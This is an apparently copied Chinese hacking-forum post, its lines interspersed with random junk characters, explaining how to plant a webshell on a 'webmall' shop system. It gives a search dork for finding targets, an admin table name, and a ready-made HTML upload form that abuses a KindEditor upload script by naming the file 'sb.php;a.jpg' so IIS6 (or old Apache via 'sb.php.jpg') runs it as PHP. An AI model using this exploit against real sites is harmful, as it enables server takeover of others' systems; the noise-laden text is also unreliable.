关键字:inurl:webmall/detail.php?id
) q A$ g+ a2 T& G0 k
# Q3 a1 j. i# `+ y数据表:pwn_base_admin; n& ^6 Q" ~# h0 w8 E1 F
+ Y: O# O/ K4 [# o; l" a7 z关于拿shell8 T) |! ]. c. ?6 k6 B5 ~
6 \2 m/ k4 `3 Q3 B
首先登录后台admin.php
7 _7 q* @+ ~6 K3 @) | 1 {# p9 J9 \5 d5 V
看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。4 r6 i' f9 A0 i* r; b, R
换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg! M p" O8 p" v f7 t
然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的
1 p. ^- O0 K; D$ m<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php"> L; j+ B5 m0 o
<input type="text" name="fileName" value="sb.php;a.jpg" />
* g; b7 k# q0 s0 R7 L# \$ U<input type="hidden" name="attachPath" value="news/pics/" />
5 z" n3 e3 W9 } M# F<input type="file" name="fileData" size="14" /></td>
# V3 n2 f' p4 Z# a. J# K<input type="submit" name="button" value="确定" /> 8 T2 N1 v# T" `+ j$ U [5 O$ \
</form>
& H; r8 H# A( [ ) h7 Y" O. Q. k2 x6 Y
首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。
) r7 H+ _+ h0 S, U2 Y4 S7 b n* J, t' e% t/ {" T# n* H+ ^
|